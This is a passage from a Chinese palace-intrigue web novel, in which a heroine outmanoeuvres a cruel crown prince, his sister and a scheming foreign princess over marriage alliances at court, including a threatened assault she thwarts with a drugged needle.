往日亲昵的母子,今日相对无言。
“太子,到母后这里来,让母后好生看看你。”
太子上前,眼色不耐。
啪。
啪啪。
皇后娘娘一连串巴掌,扇在太子脸上。
“母后?”
“您……您疯了不成?”
皇后娘娘还没打够,太子已跳开距离,怒目而视。
皇后娘娘该庆幸,她是太子生母,太子生性残暴,但道德还未完全沦丧。
不然,皇后娘娘也会成为太子手里的冤魂之一。
“是,本宫是疯了,被亲生儿子逼疯逼死。”
皇后娘娘泪流满面,声音颤抖,她忙着为太子谋权夺势,太子却忙着给她下毒。
她怀胎十月,一朝生产,
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养出一个无情不孝的怪物?
“太子,为何给本宫下毒?你……你要舍弃生母吗?”
太子目色闪烁,他倒不惧事情败露,只恨药没下够量,效果甚微。
“母后误会孤了。”
“孤心疼母后操劳,特意为母后寻来圣药沉睡,求的是母后好眠。”
刀,一下又一下割在自己身上,方知有多痛。
她倾尽心力教导的儿子,最终长成和她一样的人。
“好眠?”
“太子,你是本宫生的儿子啊,便是你眨一下眼睛,本宫也知道你心中所想。”
“太子,你是厌了本宫,嫌弃本宫管着你了……”
太子不认。
皇后娘娘心里一片冰凉,却也无可奈何。
骂也骂了,打也打了,难道要太子的命?
现下,她是皇后。
来日,她是太后。
她这样的女子,注定尊贵一生。
太子请安过后,皇后娘娘当真病了。
皇后娘娘病得不是时候,眼下仓国使臣团来访,虽说日常住在仓国使馆,但宫宴不可少,谁来操办宫宴?谁来接待使团?
姜夜沉带着皇上亲笔信笺,走一趟长公主府,请元乐长公主入宫,暂掌凤印,处置宫务。
一见面,元乐长公主毫不客气吐槽,“皇后不堪为国母,太子不堪为储君,皇兄若将安国交给太子,臣妹便撂下一句狠话:安国离**怕是不远了。”
“皇兄,有些事情您得做出决定。”
“皇兄,当年您发的毒誓乃情势所迫,是太后逼您……臣妹已活过半生年华,便是即刻死去,亦无憾。”
元乐长公主说话时,并未避着姜夜沉,像是刻意为之。
不然,元乐长公主说话时,目光为何在皇上和姜夜沉身上来回穿梭,实在明显。
提说到当年,皇上叹气,“元乐,太后还没死。”
元乐长公主跟着叹气,“皇兄说得是,太后还活着,灵山祈福十年,快要回宫了。”
“太后活着,皇后的凤位,太子的储君之位,太难动摇。”
那些过往,他们默契地不提不想。
十年之约将至……
第244章:同为嫡妻
姜夜沉回府,用膳时同徐慧珠提说太后娘娘。
“太后在灵山为安国祈福十年,可谓功德无量,皇上欲亲赴灵山接太后回宫,奈何政务缠身,皇上的意思由元乐长公主和襄王妃前往灵山,慧珠,你为医女随行。”
“有些话,有些事情,元乐长公主和襄王妃不便说不便做,由你代劳。”
“六月初六,钦天监算出的良辰吉日。”
说来,皇后娘娘和太子的真正靠山,不是皇上,而是太后。
徐慧珠心下疑惑,太后为何坑害皇上?以皇后娘娘之能,做世家大族的主母已是勉强。
“莫怕。”
“我自会护着你。”
姜夜沉并未细说皇上和太后之间的旧事,因为,很多事情他不知,也不能问皇上。
不知为何,在姜夜沉说到太后之时,徐慧珠心里生出一股怪异的情绪,似是恨意。
可是,她和太后从未见过面,难道是前世有过仇怨?
“既是皇上旨意,我岂敢不从道理。”
“托将军的福,皇上对我不差,元乐长公主和襄王妃更是真心实意待我,能为他们分忧,是我之幸。”
不管皇上等人谋算什么,若徐慧珠猜测没错,他们要合力对付即将回宫的太后。
徐慧珠自然站在太后的对立面,这战场上的前锋,她来当,最为合适。
不过,距离六月初六还有两个月时间,眼下得先应付赫连娜娜。
用完晚膳,两人到花园走一走,一边散步消食,一边谈论正事,也算对得住这般良辰美景。
徐慧珠说起赫连娜娜。
“赫连娜娜手段不俗,不过三五日光景,同凝玉长公主关系亲密到姐妹相称。”
“不管凝玉公主说话多难听不堪,有赫连娜娜这个外人在场,上官西环忍功一流,待赫连娜娜回仓国使馆,上官西环立马动手揍一顿凝玉公主。”
徐慧珠笑道,“将军,我终于明白皇上的用意深意,一为凝玉公主治伤,只要上官西环控制分寸,不把凝玉公主打死,皇上不管。二是警告赫连娜娜,东宫这条路,她若识相,莫走为上上策。”
人不经念叨。
隔日,凝玉公主竟领着赫连娜娜登将军府大门,来得时辰凑巧,姜夜沉还未入宫当差。
赫连娜娜何意?
难道?
难道这么快就被凝玉公主说动,陪着凝玉公主专门堵姜夜沉?
“见过两位公主。”
行礼过后,各自入座。
徐慧珠自然而然坐在姜夜沉身侧,刚坐定,凝玉公主开口指责,“徐氏,这里都是贵人,你什么身份,怎配坐在将军身旁?”
“凝玉公主这话说的,臣妇听不懂。”徐慧珠看向凝玉公主,满眼疑惑。
“夫人说得是,为夫亦听不懂。”姜夜沉接话。
话说上官西环实在厉害,她明明暴揍凝玉公主一顿,徐慧珠亲眼所见,也亲手诊治。
凝玉公主伤得不轻,每一处肌肤都被疼痛折磨,面上却看不出异样。
这回,上官西环选择偷偷打凝玉公主,要怪就怪凝玉公主改不掉想过足嘴贱的瘾,迎接她的是上官西环的拳头。
徐慧珠觉得自己甚是幸运,因为,她是唯一的见证者。
“将军府是臣妇的家,将军是臣妇的夫君,凝玉公主您倒说说看,臣妇是什么身份?”
“徐氏,莫要得瑟张狂,你是姜夜沉的妾,不是妻不是妻。”凝玉公主浑身疼痛,心里有气,娇艳的脸上尽是狰狞,生生破坏了她的美貌。
“凝玉公主说笑了,臣妇妾不妾的,在于将军怎么想怎么做,就不劳烦凝玉公主多余操心了。”
徐慧珠不惯着凝玉公主,凝玉公主说一句,她怼两句。
绝不吃亏。
她和上官西环配合默契,一个动口一个动手,好让凝玉公主享受到精神和身体的双重打击。
“夫人说得极是。”姜夜沉又接话,“此乃我将军府的家事,不必劳烦凝玉公主您多余操心。”
眼见两人吵起来,姜夜沉坐在那里,要么无动于衷,要么时不时火上浇油一两句,赫连娜娜只得出声调和。
“凝玉公主最是善良不过……”<
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br>徐慧珠:还是头一回听到有人夸赞凝玉公主善良,除非世间生灵死绝,凝玉公主也配不上“善良”二字。
“我来,是为大将军。”
赫连娜娜喝一口茶水,又抢了金秋的活计,亲自为凝玉公主续满茶水,递给凝玉公主,说道:“桂花香茶,清香入口,悠然入心。”
“凝玉公主,你也尝一尝。”
话外之音,请凝玉公主闭嘴,莫忘记正事。
难得的是,凝玉公主听话。
她接过茶盏,果然小口小口喝茶,不再言语。
“还请昌乐长公主注意言辞,莫说暧昧之语,本将军已娶夫人,万不能让夫人生出误会才是。”
“至于昌乐长公主你此番入京,有何目的,乃国之大事,需在君皇殿向皇上和朝臣当众提出……”
姜夜沉说话,毫不留情面。
赫连娜娜笑容尴尬,她顶着仓国第一美人的光环,平生头一回遭遇像姜夜沉这样不解风情的男人。
“怪我没说清楚。”
“大将军应该知晓,仓国使臣团此番来访,为的是两国互好情谊。我出身皇族,得君王册封昌乐长公主,理应嫁给贵国太子为太子妃,但我入京后才得知太子已娶太子妃……”
“大将军的身份虽比不得太子尊贵,但大将军乃安国护国将军,北疆之王,锦衣卫统领,与我倒也般配。”
徐慧珠:这是唱的哪出戏?
姜夜沉:祸从天降的戏。
“我便想着,大将军你未娶嫡妻,仅有徐氏一位妾室,我也不介意。而且,凝玉公主大方承认,对大将军你情根深种,我听后万分感动,愿和凝玉公主同为嫡妻,同时大婚,日后和谐相处……”
“大将军,为两国情谊,是为大义大情,我想,大将军不会拒绝吧。”
难怪?
难怪凝玉公主乐意帮赫连娜娜,等同于帮她自己。
赫连娜娜只说,她对姜夜沉并无男女情意,还想出“同为嫡妻”的妙计,成全凝玉公主的痴情。
这是一个装饰珍宝的坑,凝玉公主必跳无疑。
第246章:胡闹
宫宴这日,皇后娘娘盛装出席,厚重的脂粉仍遮不住病色,可见这一回,皇后娘娘的病来势汹涌,损了身,伤了心。
待痊愈,怕是需仔细将养好些时日。
皇上在君皇殿接待仓国使臣团,御花园里,以皇后娘娘和元乐长公主为首的女眷先至。
上座放置三把椅子,中间乃皇上的主位,左为皇后娘娘,右为元乐长公主。
说来,厉贵妃到死都没能坐一回皇上身侧的位置。
“都怪本宫身子不争气,偏巧病的不是时候,宫务繁琐,又准备宫宴,元乐长公主辛苦了。虽是一家人,但元乐长公主这份情,本宫记在心里。”
“本宫身子渐好,公主府事情也多,本宫实在不好意思继续劳烦……”
皇后娘娘尚未病愈,就张口讨要宫权,真当所有人跟她一样,眼巴巴惦记着宫权,生怕旁人抢夺了去。
元乐长公主瞧不上皇后娘娘的作派,没几两能力,还处处彰显。
元乐长公主冷笑道,“此事,皇后该当面问一问皇兄。”
“凤印,本宫放在皇上那里,又不是本宫的东西,本宫拿着做甚。”
皇后娘娘端起茶盏,掩饰尴尬,心里恨的要死。
她就不该问。
又又又自取其辱。
襄王妃看似打圆场,实则补刀。
“皇后娘娘还是保重凤体啊,太子殿下和凝玉公主一向孝顺,您这一病,他们如何心安?”
皇后娘娘:……
她怎么病的?被太子气得大病一场。
她缠绵病榻,莫说一双儿女侍疾,太子忙活着拉拢朝臣,凝玉公主陪着昌乐长公主这里逛逛那里看看,无一人探望她。
凝玉公主心虚,怕对上皇后娘娘的眼神。
但,襄王妃指名她,太子又不在场,她总不能当众装聋作哑。
“母后,儿臣今晚陪您。”
“看看,凝玉公主多贴心,女儿啊,就是母亲的贴心小棉袄,暖融融的,特舒心暖心。”襄王妃夸的艰难,可谓昧着良心硬夸。
皇后娘娘脸上的笑容,越发僵硬,元乐长公主和襄王妃一唱一和,故意给她难堪。
旁人不知内情,她们不知?
“是呀,太子孝顺,凝玉贴心,皇上也时常夸赞。”
比脸皮厚,皇后娘娘不认输。
“徐氏,暮歌身子如何了?”
“这孩子身子娇弱,又是心思敏感的,凤凰山庄子图个清静,条件却比不得宫里,病在儿身疼在母心,本宫恨不能以身替之,替暮歌承受了病痛。”
皇后娘娘这话题转的,不如闭嘴。
徐慧珠起身回话,“皇后娘娘慈母心肠。”
“只是……”
“暮歌身子不好了?”皇后娘娘语气急切,暮歌最好病死,腾出位置,太子好迎娶昌乐长公主为太子妃。
皇上也不好说什么。
“回禀皇后娘娘,太子妃身子渐好,但太子妃的心病,臣妇无能为力。”
“心病?”凝玉公主忍不住插嘴,“依本宫看,暮歌是心虚心伤吧,她伤心于克王的死,又怕母后和太子发现,这才躲到皇庄。”
众人:……
这里面,大有故事。
伤敌一千,自损一千二,这等亏本亏心的买卖,凝玉公主一做再做。
“凝玉,休得胡言乱语。”皇后娘娘气到心口疼,恨不能扑上去捂住凝玉公主的嘴。
不会说话,那就闭嘴。
“这?”
“太子妃是听说了一些流言蜚语,其实,也算不得流言蜚语。”
“是先前太子妃回宫探望皇后娘娘之时,偶然听到凝玉公主和周嬷嬷说话,说皇后娘娘有意促成太子和昌乐长公主成婚,以缔结两国之好。还说……还说太子妃挡了道,太子妃就该识相,自请下堂,或三尺白绫了结自己,一了百了。”
“太子妃自觉对不起皇后娘娘和太子殿下,日夜忧思,以泪洗面,精神濒临崩溃……臣妇医术浅薄,实在不知怎么办才好。”
皇后娘娘不过假意问一句,谁成想,徐慧珠竟敢当众说出这一番话来。
她和太子妃私交甚好,也不能如此拼力拼命为太子妃抱打不平啊。
说她憨傻蠢笨,还是赞她性情中人?
“徐慧珠,你?”凝玉公主
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脸颊涨红,她哪知,那些话被暮歌听去了不说,还告诉徐慧珠,又被徐慧珠当众曝光。
“皇后爱太子,则为之计深远啊。”元乐长公主眼神冰凉,似要穿透皇后娘娘的脸皮,“不过,皇后娘娘想要干涉朝政,皇上可允许?”
“太子的两任太子妃,皆由皇上赐婚。怎么,皇后娘娘对这两人太子妃不满意?对皇上的旨意亦心存不满不敬?”
皇后娘娘只觉得一口腥甜涌入喉间,她用力掐着胳膊,咽下腥甜,元乐长公主的一连串质问,让她体面全无,也将她推向深渊。
“元乐长公主言重了,本宫身为皇后,执掌凤印,自是谨记‘后宫不得干政’的祖训。”皇后娘娘压下心里愤恨,她是安国尊贵无双的皇后,却被元乐长公主逼着辩白。
她,何需如此。
又,不得不如此。
“哦?”元乐长公主放下茶盏,“如此看来,是本宫误会皇后了。”
偏巧,皇后娘娘一时没听出元乐长公主话里的深意,“无妨,一家人嘛,元乐长公主性情直爽,本宫怎会怪你。”
元乐长公主懒得理会,转头问徐慧珠。
“慧珠,听闻凝玉领着仓国来的昌乐长公主前几日登门将军府,两人皆自荐枕席要嫁给姜夜沉,同为嫡妻,可有这事?”
“是。”徐慧珠本就不怕得罪皇后娘娘和凝玉公主,紧抱元乐长公主大腿才是正经,“不过,将军已当两位公主面,严词拒绝这等无理要求。”
“将军说了,他只忠君护国,不卖艺**。”
噗嗤。
元乐长公主先笑出声,“姜夜沉不愧为安国儿郎,有骨气。”
“公主殿下说得是。”徐慧珠顺杆爬,“将军还说,一会儿传出昌乐长公主有意嫁给太子殿下为太子妃,一会儿明知他身有隐疾,还登门逼娶,难道是要挑拨太子殿下和将军之间的君臣关系?”
“这话,将军自会亲口询问仓国使臣团。”
“将军还说,他很疑惑,凝玉公主身为我安国皇族公主,怎会偏帮外人?凝玉公主这般胡闹,不知,皇后娘娘可知情?”
第247章:东西两宫太子妃
一个上不得台面的妾室,竟敢当众质问皇后娘娘,徐慧珠默默为自己竖起大拇指。
左一句“将军说”,右一句“将军还说”,徐慧珠扯起姜夜沉这面大旗,上演嚣张跋扈。
“徐氏,慎言。”皇后娘娘眼色威胁。
“是,臣妇话多了。”
徐慧珠见好就收,该说的已说完,皇后娘娘回不回答,凝玉公主承不承认,并不重要。
好在这时,路口出现一道熟悉的身影。
人未至,声先响。
“皇上驾到。”
众人见礼后坐定,先以歌舞开场。
这回宫宴,男女未分席,依照官员品阶而坐。
托姜夜沉的福,将军府的位置排位靠前,一侧是襄王府,另一侧是西疆王上官褐携女上官西环。
如此显得,徐慧珠一个妾室,尊贵无比。
关键是,将军府的席面位置扎眼,姜夜沉随行皇上身侧,所以席面上只坐着徐慧珠一人。元乐长公主倒是会提议,特安排钱悠悠和徐念念陪伴徐慧珠。
徐慧珠一人坐着,会觉得害怕?还是孤独?
有人心里不舒坦,但只能憋着忍着,谁也不愿做出头鸟,怕惹到元乐长公主。
若这场宫宴由皇后娘娘操办,故意不设将军府的席面,或依照徐慧珠自身品级,将座位安排到角落处。
皇后娘娘和太子坐的位置刚好在同侧,皇后娘娘病色憔悴,而太子满面红光,尤其眼神透着志得意满。
看来,除掉大皇子李明远,的确让太子高兴太久。
只是,太子偶尔落在姜夜沉身上的目光,闪烁过狠色。
下一个,太子要除掉的威胁,便是姜夜沉。
姜夜沉此人,必须得死,方可解太子心里的嫉妒、怨恨。
太子余下的目光时不时黏在赫连娜娜身上,如此绝色的异域美人儿,打起来的手感会不会格外美妙?
他的手,酥痒难耐。
他的心,狂躁不安。
“尊贵的安国皇帝,我自仓国而来,携五城十镇为嫁妆,嫁一良人,缔结两国情谊。我仓国君王愿开放北境市场,与仓国互通,若安国征战,我仓国可借十万兵力,粮草自备。”
“以上,便是我仓国的诚意。”
赫连娜娜起身,先向皇上敬酒,说了几句感谢云云的漂亮话,接着说到正题。
仓国开出的条件,一次比一次丰厚,仓国君王求娶安国公主不成,直接派出仓国第一美人和加倍筹码,的确诚心诚意。
仓国急需同安国和谈,以求生养生息,再加上先前赫连敬勾结坞国事发,这笔账,悬在仓国头顶,生怕遭到安国哪一日清算。
若北疆军压境,以仓国目前国力,拼力抵抗过后,留下一片满目疮痍的国土,就是生养生息十年二十年,也难以恢复往昔繁荣。
太子着急开口,“仓国诚意如此。”
“父皇,儿臣以为与仓国缔结盟约,共修情谊,乃是百利无一害的好事啊。”
“儿臣愿为父皇分忧,愿为安国尽力。”
皇上看了太子一眼,神色莫名,心里却不得劲。太子上赶着“求好”,那副眼巴巴模样恨不能做主应了仓国请求。
骨气没几两。
太子热脸贴上人家美人儿的冷屁股,却不自知。
“尊贵的安国皇帝,听闻大将军只纳妾,并未迎娶嫡妻……”
太子懵了。
敢情天上掉落的馅儿饼,只砸姜夜沉一人,他姜夜沉何德何能迎娶仓国昌乐长公主。
“且慢。”太子强行打断,“昌乐长公主,两国联姻,自是优先皇族成员。”
“孤明白,昌乐长公主你身份尊贵,断不能为妾的道理。所以,孤打算设东西两宫太子妃,昌乐长公主你为东宫太子妃,暮歌为西宫太子妃,东为尊。”
太子说完,自信满满望向赫连娜娜,想看到美人儿脸上的感动。
但,赫连娜娜微皱眉头,不知在思索什么。
徐慧珠差点被口里的茶水噎住,还东西两宫太子妃?皇上都不敢整出东西两宫皇后,他太子的脑袋是用浆糊糊成的吗?
可惜,这样的场合,徐慧珠没有资格说话。
她太想说话了。
憋的难受。
“皇上?”皇后娘娘当下觉得太子此计甚妙,当然,皇后娘娘也有私心,日后她继续享受暮歌的孝顺乖巧,那位昌乐长公主的身份摆着,她自是不能拿捏,更不能明着欺负。<
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br>“皇上,太子一片孝心为皇上解忧,又一腔仁心为百姓谋福祉,我安国有太子这样仁德的储君,大幸啊。”
皇后娘娘眼带笑意,一副与有荣焉的姿态。
她生养的儿子就是聪慧,想出这等良策,东西两宫太子妃,何尝不可。
“东西两宫太子妃?”元乐长公主直接发问赫连娜娜,“是太子癔想?还是昌乐长公主向太子进献的妙计?”
赫连娜娜脸色微变,她哪知道太子会突然发疯,提出什么东西两宫太子妃,这安国太子妃的位置,她不稀罕。
可,当初她让人暗里传播有意嫁给太子为太子妃的流言,今日搬起石头砸自己的脚。
“元乐长公主殿下,此事与我无关。”
“东宫已有太子妃,我怎敢生出旁的心思。”
元乐长公主冷哼道,“你的意思,若东宫此刻没有太子妃,你就会生出不该有的心思来?”
“我……”赫连娜娜一时语塞,误会已生成,不管她如何解释,怕是难以解释清楚。
她亦看出来,安国这位和皇后娘娘平起平坐的元乐长公主殿下不喜她,才针对她。
“慧珠,你来说。”
元乐长公主点名徐慧珠。
徐慧珠终于等到说话的机会,她站起身,将赫连娜娜和凝玉公主当日登门所说的话如实叙述。
“昌乐长公主好重的心机,臣妇和将军怀疑您是把将军府当作登天的梯子,诱使太子殿下当众提出‘东西两宫太子妃’。”
“万幸将军机警,严词拒绝了昌乐长公主。”
徐慧珠自夸姜夜沉机警,变相嘲讽太子愚蠢,也是告诉众人,昌乐长公主心机深沉,一番动作下来,太子就着了她的道。
若昌乐长公主当真嫁给太子,夜夜吹枕边风,说不得太子沦落为昌乐长公主手里的傀儡。
那还了得。
两国联姻,绝对不成。
“皇上,安国百年来未有储君设立东西两宫太子妃的先例,臣以为不妥。”襄王开口道,“不过,仓国诚意联姻,臣赞同。”
“臣府中老三李明蕴乃皇上亲封的郡王,是享誉安国的画师,愿为吾国吾皇分忧,迎娶昌乐长公主……”
第248章:解君忧
不得不说,狐狸还是老的精明,襄王不愧为皇上倚重的兄弟,关键时候,解君忧。
李明蕴是襄王的三子,俊雅天然,才情卓越,生在皇家,却对权力独独提不起半点兴趣,昌乐长公主若嫁给李明蕴,势必得陪着李明远纵情山水,做一对逍遥快活的夫妻。
那时,昌乐长公主人都不在京城,还如何发挥她的心机。
李明蕴自会将赫连娜娜看得死死的。
“襄王言之颇有道理。”
襄王的“牺牲”,这份情,皇上记下了。
太子娶昌乐长公主,整出东西两宫太子妃,简直是胡闹。
皇上不允。
姜夜沉娶昌乐长公主,不仅姜夜沉自己,安国和皇上皆吃大亏。
皇上不许。
倒是李明蕴牺牲自己,得仓国第一美人儿,再得仓国五城十镇,开放北境市场,就是徐从德在这里,拨好几遍算盘,也是仓国得益。
“父皇?”
“儿臣以为得尊重昌乐长公主的意愿,若昌乐长公主不愿,也不能强行凑一对怨偶。”
太子万万没想到,他费尽心思筹算,到头来给李明蕴做了嫁衣。
李明蕴一个小小的郡王,只会书画玩乐,他得仓国外力支持,简直浪费。
又问,“昌乐长公主,你可愿嫁给郡王李明蕴?”
太子在“郡王”二字上刻意咬重,他不信昌乐长公主是个傻的,他能让昌乐长公主做尊贵无双的太子妃,将来的安国皇后。李明蕴能给什么?一个无权无势的虚名郡王妃。
太子觉得,他在尽力争取,昌乐长公主也该使力才是。
的确,赫连娜娜不傻,她自是看出来皇上不同意她嫁太子,也不愿她嫁姜夜沉。
她不甘心,将军府的门,她必进。
姜夜沉的嫡妻,她当定了。
“回禀皇上,我与郡王李明蕴不曾见面,不知他是什么样的容貌性情,如何能嫁?”
赫连娜娜此话一出,太子急忙附和,“昌乐长公主说得极是。”
不过,这一瞬太子有多惊喜,下一瞬他脸上的笑意凝滞,全场属他尴尬又可笑。
襄王无语至极,和皇上对视一眼。
襄王:我搭台,太子拆台,皇上,我已尽全力。
皇上:此等孽子,怕是气的李氏祖宗从棺材里跳出来,指着他鼻子骂,祸害啊祸害啊。
“徐夫人,你……误会我了,将军是我的心上人,我哪舍得利用。我之所以厚颜登门,是为表白心迹。”
“我——赫连娜娜——仓国昌乐长公主,心悦将军,愿嫁给将军为妻。”
“尊贵的安国皇帝,请您赐婚。”
众人:……
太子:所以,小丑是我自己。
凝玉公主:赫连娜娜,不,**,竟敢骗本宫?
凝玉公主蹭一下站起身,欲发疯,却听到皇上问,“夜沉,你可愿意?”
姜夜沉却看向徐慧珠,“夫人,你可愿为夫另娶她人?”
转一圈,决定权竟在徐慧珠手上。
一时间,无数目光**于徐慧珠身上。
“将军,我自是不愿。”
这大话,徐慧珠敢说?
“回禀皇上,臣不愿娶昌乐长公主。”
“臣和徐慧珠曾互发毒誓,臣今生只娶徐慧珠一女,徐慧珠今世对臣不嫌不弃,若违背誓言,天打雷劈,不得好死。”
不嫌不弃?
姜夜沉提醒大家他不能人道的事实啊。
昌乐长公主明知姜夜沉不能人道,还说什么心悦?到底是为仓国尽忠?还是旁的心思?
这就耐人寻味了。
“昌乐长公主……你……你?”
太子心生愤恨,这世上的女子,一个个瞎眼不成,姜夜沉如何就成了香饽饽,一回又一回打他的脸。
“太子殿下,实在抱歉。”赫连娜娜解释道,“东宫已有太子妃,我怎能做破坏他人金玉良缘的恶女?”
“襄王说得在理,安国百年来未有设立东西两宫太子妃的先例,我怎么忍心太子殿下为了我破了规矩啊。”
好一朵淤泥馅儿的白莲花。
果然,赫连娜娜几句假话,太子脸色霜转阴,“昌乐长公主,孤……”
他求娶赫连娜娜不成,怪谁?怪暮歌占了太子妃的位置,怪皇上当初赐婚,怪
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皇后娘娘同意赐婚……总之,怪不到自己身上。
当然,他亦不怪赫连娜娜,安国昌乐长公主,若为东宫侧妃,也说不过去。
皇上放下酒盏,冷声道,“好了,和谈一事,容后再议。”
歌舞继续。
徐慧珠多贪几倍果酿,脑袋昏沉,许念念收走她的酒盏,不许她再喝。
“慧珠姐姐,我陪你去更衣。”
徐慧珠点头。
宫宴漫长,她这时离宫,少不得落人话柄,但借口更衣,偷懒一刻钟时光,倒是不妨事。
两人结伴走在宫道,却没发现引路太监将他们引到一处废殿,突然转身打晕徐念念。
“你?”
“徐夫人,里面请吧。”太监面目狰狞,“贵人要见您。”
徐慧珠看了一眼晕倒在草丛里的徐念念,太监只打晕她,便说明背后之人心有顾忌丞相府,徐念念暂且性命无忧。
“徐念念是无双公子的夫人,劳烦告诉你背后主子一声,若敢伤害徐念念的性命,就是得罪丞相府,必承受来自无双公子的疯狂报复。”
“而且,这里是皇宫,一旦事发,你背后主子除非是皇上和元乐长公主,旁人自保且难,你说,你们这些干活的奴才,会是什么下场?锦衣卫署的一百零八种刑具,你们又能扛到几种?”
徐慧珠话音未落,感觉到暗处凌乱的气息。
太监面色一僵,“徐夫人,奴才奉命行事,岂敢伤害丞相府少夫人的性命。少夫人不胜酒力,奴才这就送少夫人去偏殿小歇片刻。”
这宫里的奴才,忠心主子之余,也有自己的生存保命之法。
太监不蠢,他听得懂徐慧珠的威胁,更深知徐慧珠在给他指一条活路。徐慧珠没一句话说错,一旦事发,主子尚可自保,他们这些干活的奴才,一个个死的凄惨。
人啊,都想活。
“去吧,送她去偏殿,仔细伺候。若她醒来,告诉她,我随将军回府,她去寻温德夫人便是。”
太监扶着徐念念离去。
徐慧珠揉了揉发疼的额头,进入废殿,看到眼前的男人,并不觉得意外……
第249章:臣妇怎敢弑君?
“见过太子殿下。”
“太子殿下邀约臣妾,是希望臣妾劝说将军无论如何拒绝迎娶昌乐长公主?再劝服太子妃自请下堂,退位让贤?甚至劝动将军支持太子和昌乐长公主联姻?”
“是也不是?”
徐慧珠选择主动出击,太子此人太过危险,无论他存了何种心思,当务之急,是灭掉他的心思。
“徐氏,你一个妾,能劝动姜夜沉?能说服暮歌?”
“孤不信。”
太子想到凝玉公主说的话,感觉一股血气在他身体里乱蹿,他许久没这么兴奋了。
徐慧珠的提议让他犹豫,但内心的渴望和冲动渐渐淹没理智,凝玉公主说,“太子哥哥,臣妹有一计,可一箭三雕。”
“一来,让太子哥哥快活。二来,助臣妹如愿。三来,报复姜夜沉。”
最后那句“报复姜夜沉”,太子听完即刻心动。
太子忽然笑了,犹如猎杀到满意的猎物,他一步一步逼近徐慧珠。
“徐氏,孤替姜夜沉疼你,可好?”
徐慧珠忍着恶心接话,“太子殿下打算如何疼将军的女人?”
“哈哈哈……”太子笑的癫狂,“如何疼?”
“当然是先赏赐你一顿打,再破你的身。孤会告诉姜夜沉,是你耐不住寂寞,主动勾引孤,求孤宠幸,还想入孤的东宫……”
“凝玉想出的这个主意,还真真是妙不可言啊。”
凝玉公主?
这么阴损恶毒的主意,倒像是凝玉公主能想出来的。不过,她那脑子本就没几两智商,皇后娘娘不会放任她闯祸,那就是赫连娜娜了。
呵,真是一对蠢货兄妹,被赫连娜娜一个外族公主拿捏在手里把玩、利用。
徐慧珠莞尔一笑,透着魅惑,“太子殿下,当真要不顾一切羞辱将军?”
“是有如何?”太子狞笑道,“孤倒好奇,今日之后,姜夜沉会悄悄杀了你?还是当做无事发生?”
“莫急,若姜夜沉杀你,孤很快会送他去阴曹地府陪伴你,哈哈哈……”
“是吗?太子殿下。”徐慧珠等的就是太子靠近这一刻,银针精准插入太子殿下的腰部,再快速拔出。
下一瞬,太子瘫软在地上。
“你……你?”
徐慧珠不给太子说话的机会,从荷包里取出一枚药丸塞入太子口中,入口即化。
“**,你……你给孤吃了什么**?”
徐慧珠已退到门口,但被暗处现身的**团围住。
“太子殿下多余忧心,您是东宫储君,臣妇怎敢弑君?”
“今夜月色正好,臣妇于宫道迷路,偶遇赏月的太子殿下,出于礼貌,闲聊几句,仅此而已罢了。太子殿下,您说,是也不是?”
“若太子殿下赞同,待臣妇回到宫宴,可派一名宫人寻将军求解药。”
太子只觉得身子软成面团,动弹不得,“**,什么……什么毒?”
太子却纠结徐慧珠给他了何种毒,“孤命令你。”
“解药,立刻,马上给孤。”
“不然,孤命他们就在这处废殿里轮污了你,六个男人啊,呵,**,你以为你能活着走出这里吗?”
徐慧珠手痒,她好想扇肿太子那张恶人脸。
“太子殿下刚刚还想着殴打臣妇,再破臣妇身子,那么,太子现下还有反应吗?是不是觉得有心无力?”
“只是,太子殿下身体里的药,再过半个时辰,就药石无灵,服用解药亦无用。太子殿下是有闲情逸致欣赏护卫蹂躏臣妇?还是命人送臣妇回宫宴,拿到解药?”
“当然,太子殿下不介意当安国最尊贵的太监,臣妇无话可说。”
“还有,若太子殿下非要拉臣妇共赴黄泉,臣妇一条贱命,奉给您。”
徐慧珠说罢,竟开始褪衣。
“谁先来?”
“诸位好汉放心,你们也是奉命行事,我自知反抗无用,也不会反抗,还请诸位怜惜,留我一条性命。”
太子:……
众护卫:……
“住手。”
太子怒呵。
徐慧珠听话,停下动作。
六名护卫齐整往后退一步,万幸黑巾遮住面容,让人看不到他们眼里的惊慌,不禁感叹:真不
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愧为杀神将军的女人,要命啊。
“滚。”
太子认怂。
“臣妇告退。”
“太子殿下且安心,臣妇小女子一言驷马难追,您在时辰内服用解药,保管您威猛重现。”
出得殿门,徐慧珠扶着宫墙,腿脚发软,缓了好一会儿,才恢复力气走回宫宴。果然,凝玉公主和赫连娜娜看到她,闪烁而过的惊惶,徐慧珠看在眼里,记在心间。
暂且不动声色。
宫宴落幕,各自回府。
姜夜沉一上马车就发现徐慧珠的异样,“可是在担忧赫连娜娜继续纠缠?”
“襄王今日为皇上解忧,不得已牺牲三儿李明蕴,但以赫连娜娜的品性,配不上李明蕴,我安国优秀儿郎,岂能被外族女子糟蹋……”
徐慧珠打断。
她等不及,此仇此怨,必尽快报之。
“将军,我有一计,可让赫连娜娜灰溜溜滚回仓国,仓国的五城十镇算作赔礼,奉给我安国。比她父亲赫连敬好些,若她识相,或可保住一条命。”
徐慧珠擅长告状,在姜夜沉面前狠狠告状一回,太子、凝玉公主和赫连娜娜,一个也别想逃脱她的报复。
隔日清晨,姜夜沉亲领锦衣卫查抄玉楚楼,抓到数名细作,不成想意外撞见凝玉公主和赫连娜娜在玉楚楼寻欢作乐。
那画面,香艳到刺眼。
当初,欣冉郡主死在南风馆,皇上龙颜大怒,命锦衣卫查封。随后,玉楚楼日渐崛起,大有重复南风馆风光之势。
先是有人说,玉楚楼开在京城,指不定凝玉公主是玉楚楼的常客。凝玉公主这地主之谊尽得到位,直接将仓国公主带到玉楚楼寻欢去了。
丢尽安国脸面。
皇上一巴掌甩在凝玉公主脸上,怒斥道,“身为安国皇族公主,丑闻缠身,出入玉楚楼那种肮脏的地方呢。凝玉,你这公主不想当了吗?”
即便是皇上动手,也打不醒像凝玉公主这样的蠢货。
因为,她并不觉得自己有错。
凝玉公主跪在地上,梗着脖子辩解,“父皇,儿臣冤枉啊。”
第250章:玉楚楼
“呵,冤枉?”
皇上气得啪啪又是两耳光,“夜沉冤枉了你?本皇冤枉了你?还有那些锦衣卫皆眼瞎,没看见在玉楚楼小倌的床榻上,衣不遮体的凝玉公主?”
皇上这话,是一点儿颜面都不给凝玉公主留了。
“父皇,儿臣明明在仓国使馆陪伴昌乐长公主,定是有人害儿臣,将儿臣掳到玉楚楼……儿臣更不值玉楚楼是什么地方啊。”
凝玉公主欲抱住皇上的腿,却被皇上一脚踢开,这一脚用了些力气,凝玉公主趴在地上,疼的眼泪汪汪。
“死性不改。”
